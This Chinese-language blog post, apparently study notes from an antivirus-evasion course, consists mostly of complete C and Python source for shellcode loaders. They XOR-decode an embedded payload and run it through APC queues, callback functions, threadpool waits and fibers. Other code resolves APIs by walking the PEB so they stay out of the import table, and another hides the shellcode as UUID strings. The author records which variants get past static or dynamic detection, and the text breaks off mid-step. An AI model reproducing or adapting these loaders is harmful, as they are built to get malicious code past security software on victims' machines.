1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char sc[] = "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" ; typedef DWORD (WINAPI* pNtTestAlert) () ;int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(sc, sizeof (sc), key); DWORD oldProtect; VirtualProtect((LPVOID)sc, sizeof (sc), PAGE_EXECUTE_READWRITE, &oldProtect); pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll" ), "NtTestAlert" )); QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)sc, GetCurrentThread(), NULL ); NtTestAlert(); }
动态的还是过不了。
回调函数运行 EnumDateFormatsA
函数原型
1 2 3 4 5 BOOL EnumDateFormatsA ( [in] DATEFMT_ENUMPROCA lpDateFmtEnumProc, [in] LCID Locale, [in] DWORD dwFlags ) ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char sc[] = "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" ; int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(sc, sizeof (sc), key); LPVOID addr = VirtualAlloc(NULL , sizeof (sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return ; } memcpy (addr, sc, sizeof (sc)); EnumDateFormatsA((DATEFMT_ENUMPROCA)addr, NULL , NULL ); }
动态过不了!
创建线程池运行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char sc[] = "\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" ; int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(sc, sizeof (sc), key); DWORD oldProtect; VirtualProtect((LPVOID)sc, sizeof (sc), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE event = CreateEvent(NULL , FALSE, TRUE, NULL ); PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)sc, NULL , NULL ); SetThreadpoolWait(threadPoolWait, event, NULL ); WaitForSingleObject(event, INFINITE); }
BUT虽说这几个都是在替换CreateThread函数,但是吧,我觉得没有必要,只是笔者希望还是希望按照课程往下学习
创建纤程运行 纤程(Fiber)是一种轻量级的线程,也被称为协程(Coeroutine)或微线程(Microthread)。它们时一种用户级别的线程,由程序自身管理,而不是由操作系统内核管理。纤程是一种可以提高程序执行效率的调度机制,特别使用于需要大量并发执行任务的场景
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char sc[] ="\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" ;int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(sc, sizeof (sc), key); DWORD oldProtect; VirtualProtect((LPVOID)sc, sizeof (sc), PAGE_EXECUTE_READWRITE, &oldProtect); ConvertThreadToFiber(NULL ); void * shellcodeFiber = CreateFiber(0 , (LPFIBER_START_ROUTINE)(LPVOID)sc, NULL ); SwitchToFiber(shellcodeFiber); DeleteFiber(shellcodeFiber); }
动态api函数加载 传统的静态导入API函数会在执行文件导入表明确列出所有用到的函数 。这使得恶意代码容易被安全工具和分析人员发现,因为敏感的API函数的使用通常表明了恶意行为。
比如使用创建线程运行shellcode的导入表中就存在CreateThread函数。这里用ida和010都比较好找。
而动态调用API函数,可以在运行时动态解析并获取API函数的地址。这样,敏感函数不会出现在导入表中,从而使得恶意代码更难被发现。此外,动态调用API函数还可以结合其他技术(如代码混淆、加密 等)来进一步提高恶意代码的隐蔽性。
实现思路
定位关键模块:首先找到包含核心API函数的关键模块(如kernel32.dll)。这通常可以通过解析PEB(Process Environment Block)中的模块列表来完成。
简单解释(PEB):一个记录当前进程”身份证信息”和”运行状态”的表格
获取GetProcAddress:定位到kernel32.dll后,需要解析导出表(Export Table)以获取GetProcAddress函数的地址。GetProcAddress是一个核心函数,用于在运行时动态解析其他API函数的地址。
简单解释:从某个已经加载的模块(DLL)中,获取一个函数的地址。再简单点就是寻址的。
1 2 3 4 5 6 7 >FARPROC GetProcAddress ( HMODULE hModule, LPCSTR lpProcName >) ;> > >
加载其他API:通过GetProcAddress函数,可以逐个获取其他需要的API函数的地址。例如,可以通过GetProcAddress获取VirtualProtect、CreateThread和WaitForSingleObiect等函数的地址。
准备shellcode:将shellcode存储到缓冲区中,使用VirtualProtect函数将缓冲区的内存页属性更改为可执行,以确保可以安全执行shellcode。
创建线程并执行shellcode:使用CreateThread函数创建一个新线程,并将shellcode的地址作为线程的启动历程。线程创建后,使用WaitForSingleObject等待线程执行完成。
这是使用x64编写。
准备条件
1 2 3 4 5 6 7 8 >.CODE GetInInitializationOrderModuleList PROC mov rax,gs:[60h] ; PEB,注意,这里不能写0x60 mov rax,[rax+18h] ; PEB_LDR_DATA mov rax,[rax+30h] ; InInitializationOrderModuleList ret ; 这里不能写retn GetInInitializationOrderModuleList ENDP >END
1 2 >ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm >$(IntDir)%(FileName).obj
打开项目属性,勾选 C/C++->代码生成->禁用安全检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 #include <Windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList () ;HMODULE getKernel32Address () { LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); while (1 ) { UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38 ); if (*(FullDllName->Buffer + 12 ) == '\0' ) { return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10 ))); } pNode = pNode->Flink; } } DWORD64 getGetProcAddress (HMODULE hKernal32) { PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY) ((LONG64)baseAddr + pImageNt -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir -> AddressOfFunctions); PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir -> AddressOfNameOrdinals); for (size_t i = 0 ; i < exportDir->NumberOfNames; i++) { LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); if (!strcmp ((const char *)FunctionName, "GetProcAddress" )) { return F_va_Tmp; } } } typedef FARPROC (WINAPI* pGetProcAddress) (HMODULE, LPCSTR) ;typedef BOOL (WINAPI* pVirtualProtect) (LPVOID, DWORD, DWORD, PDWORD) ;typedef HANDLE (WINAPI* pCreateThread) (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD) ;typedef DWORD (WINAPI* pWaitForSingleObject) (HANDLE, DWORD) ;void myXor (unsigned char str[], int len, int key) { for (int i = 0 ; i < len; i++) { str[i] = str[i] ^ key; } } unsigned char sc[] ="\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" "\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" "\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" "\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" "\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" "\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" "\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" "\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" "\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" "\x00\x4d\x06\x1b\x06\x63" ;int main (int argc, char * argv[]) { if (argc != 2 ) { printf ("Usage: %s <key>\n" , argv[0 ]); return 1 ; } int key = atoi(argv[1 ]); myXor(sc, sizeof (sc), key); HMODULE hKernal32 = getKernel32Address(); pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32,"VirtualProtect" ); pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread" ); pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject" ); DWORD oldProtect; VirtualProtect((LPVOID)sc, sizeof (sc), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = CreateThread(NULL , 0 , (LPTHREAD_START_ROUTINE)(LPVOID)sc, NULL , 0 , NULL ); WaitForSingleObject(hThread, INFINITE); return 0 ; }
没啥说的,动态肯定过不了。
其他shellcode处理 uuid 什么是UUID?
UUID(Universally Unique Identifier,通用唯一识别码),是一种为计算器系统中的所有对象分配一个唯一标识符的软件构建块。UUID是1128为的数字,通常由32个十六进制(16个字节)数字表示,并由连字符分隔成五个部分,形式为8-4-4-4-12。例如:
1 550 e8400-e29b-41 d4-a716-446655440000
目的
在没有中央协调机构的情况下,能够在分布式系统中生成唯一标识符。这意味着,任何人在任何的地方都可以创建一个UUID,而无需担心与其他人创建的UUID冲突。UUID的设计使得它们的全局唯一性非常高,即使在不同的计算机系统和网络中也能保持唯一性。
UUID通常适用场景:
数据库的主键
分布式系统中的对象标识符
会话标识符
临时文件名
什么是GUID?
GUID(Globally Unique Identifier,全局唯一标识符)是一个 128 位长的数字,用于在软件中为对象分配唯一的标识符。GUID和UUID基本上是相同的概念,只是术语上的差别。实际上,GUID是UUID的一种实现。
GUID通常表示为32个十六进制数字,分为五组,用连字符分隔,形式如下:
1 550 e8400-e29b-41 d4-a716-446655440000
shellcode转uuid
这段代码首先将包含shellcode的字节数组进行处理,确保长度是16的倍数。然后,将shellcode分为16字节的块,并未每个块创建一个UUID,将这些UUID存储在一个列表中,最后,将这些UUID以C语言数组的形式输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import uuidshellcode = ( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" b"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" b"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" b"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" b"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" b"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" b"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" b"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" b"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" b"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e" b"\x65\x78\x65\x00" ) uuid_list = [] if len (shellcode) % 16 != 0 : shellcode += b'\x90' * (16 - len (shellcode) % 16 ) for i in range (0 , len (shellcode), 16 ): chunk = shellcode[i:i + 16 ] uuid_chunk = uuid.UUID(bytes_le=chunk) uuid_list.append(str (uuid_chunk)) uuids = "const char* uuids[] = {" for uuid in uuid_list: uuids = uuids + f"\"{uuid} \"," uuids = uuids[:-1 ] + "};" print (uuids)
然后python跑一下这个脚本
1 2 3 bbq@ubuntu:~$ python3 1.py const char* uuids[] = {"e48348fc-e8f0-00c0-0000-415141505251" ,"d2314856-4865-528b-6048-8b5218488b52" ,"728b4820-4850-b70f-4a4a-4d31c94831c0" ,"7c613cac-2c02-4120-c1c9-0d4101c1e2ed" ,"48514152-528b-8b20-423c-4801d08b8088" ,"48000000-c085-6774-4801-d0508b481844" ,"4920408b-d001-56e3-48ff-c9418b348848" ,"314dd601-48c9-c031-ac41-c1c90d4101c1" ,"f175e038-034c-244c-0845-39d175d85844" ,"4924408b-d001-4166-8b0c-48448b401c49" ,"8b41d001-8804-0148-d041-5841585e595a" ,"59415841-5a41-8348-ec20-4152ffe05841" ,"8b485a59-e912-ff57-ffff-5d48ba010000" ,"00000000-4800-8d8d-0101-000041ba318b" ,"d5ff876f-f0bb-a2b5-5641-baa695bd9dff" ,"c48348d5-3c28-7c06-0a80-fbe07505bb47" ,"6a6f7213-5900-8941-daff-d563616c632e" ,"00657865-9090-9090-9090-909090909090" }; bbq@ubuntu:~$
uuid写入shellcode
步骤如下:
定义一个包含转换为UUID形式的shellcode字符串数组uuids。
创建一个具有执行权限的堆hc。
在堆上分配一块可执行内存buffer。
检查内存是否分配成功,如果失败则输出错误信息并返回。
将uuid值转换回原始的shellcode并将其存储在buffer_backup地址。
使用EnumSystemLocalesA函数调用转换回的shellcode。这是通过将shellcode作为处理每个枚举到的区域设置信息的回调函数的地址传递给EnumSystemLocalesA函数实现的。
关闭内存句柄。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <Windows.h> #include <stdio.h> #include <Rpc.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) #pragma comment(lib, "Rpcrt4.lib" ) const char * uuids[] = {"e48348fc-e8f0-00c0-0000-415141505251" ,"d2314856-4865-528b-6048-8b5218488b52" ,"728b4820-4850-b70f-4a4a-4d31c94831c0" ,"7c613cac-2c02-4120-c1c9-0d4101c1e2ed" ,"48514152-528b-8b20-423c-4801d08b8088" ,"48000000-c085-6774-4801-d0508b481844" ,"4920408b-d001-56e3-48ff-c9418b348848" ,"314dd601-48c9-c031-ac41-c1c90d4101c1" ,"f175e038-034c-244c-0845-39d175d85844" ,"4924408b-d001-4166-8b0c-48448b401c49" ,"8b41d001-8804-0148-d041-5841585e595a" ,"59415841-5a41-8348-ec20-4152ffe05841" ,"8b485a59-e912-ff57-ffff-5d48ba010000" ,"00000000-4800-8d8d-0101-000041ba318b" ,"d5ff876f-f0bb-a2b5-5641-baa695bd9dff" ,"c48348d5-3c28-7c06-0a80-fbe07505bb47" ,"6a6f7213-5900-8941-daff-d563616c632e" ,"00657865-9090-9090-9090-909090909090" };void main () { HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0 , 0 ); void * buffer = HeapAlloc(hc, 0 , 0x100000 ); if (buffer == NULL ) { return ; } PBYTE buffer_backup = (PBYTE)buffer; int elems = sizeof (uuids) / sizeof (uuids[0 ]); for (int i = 0 ; i < elems; i++) { RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)buffer_backup); if (status != RPC_S_OK) { CloseHandle(buffer); return ; } buffer_backup += 16 ; } EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, 0 ); CloseHandle(buffer); }
但是这样的话连静态都过不了,怀疑是shellcode未加密的原因。so,还是决定加一个异或,异或后的shellcode
1 2 3 4 5 b"\x9f\x2b\xe0\x87\x93\x8b\xa3\x63\x63\x63\x22\x32\x22\x33\x31\x32\x35\x2b\x52\xb1\x06\x2b\xe8\x31\x03\x2b\xe8\x31\x7b\x2b" b"\xe8\x31\x43\x2b\xe8\x11\x33\x2b\x6c\xd4\x29\x29\x2e\x52\xaa\x2b\x52\xa3\xcf\x5f\x02\x1f\x61\x4f\x43\x22\xa2\xaa\x6e\x22" b"\x62\xa2\x81\x8e\x31\x22\x32\x2b\xe8\x31\x43\xe8\x21\x5f\x2b\x62\xb3\xe8\xe3\xeb\x63\x63\x63\x2b\xe6\xa3\x17\x04\x2b\x62" b"\xb3\x33\xe8\x2b\x7b\x27\xe8\x23\x43\x2a\x62\xb3\x80\x35\x2b\x9c\xaa\x22\xe8\x57\xeb\x2b\x62\xb5\x2e\x52\xaa\x2b\x52\xa3" b"\xcf\x22\xa2\xaa\x6e\x22\x62\xa2\x5b\x83\x16\x92\x2f\x60\x2f\x47\x6b\x26\x5a\xb2\x16\xbb\x3b\x27\xe8\x23\x47\x2a\x62\xb3" b"\x05\x22\xe8\x6f\x2b\x27\xe8\x23\x7f\x2a\x62\xb3\x22\xe8\x67\xeb\x2b\x62\xb3\x22\x3b\x22\x3b\x3d\x3a\x39\x22\x3b\x22\x3a" b"\x22\x39\x2b\xe0\x8f\x43\x22\x31\x9c\x83\x3b\x22\x3a\x39\x2b\xe8\x71\x8a\x34\x9c\x9c\x9c\x3e\x2b\xd9\x62\x63\x63\x63\x63" b"\x63\x63\x63\x2b\xee\xee\x62\x62\x63\x63\x22\xd9\x52\xe8\x0c\xe4\x9c\xb6\xd8\x93\xd6\xc1\x35\x22\xd9\xc5\xf6\xde\xfe\x9c" b"\xb6\x2b\xe0\xa7\x4b\x5f\x65\x1f\x69\xe3\x98\x83\x16\x66\xd8\x24\x70\x11\x0c\x09\x63\x3a\x22\xea\xb9\x9c\xb6\x00\x02\x0f" b"\x00\x4d\x06\x1b\x06\x63"
然后转换一下
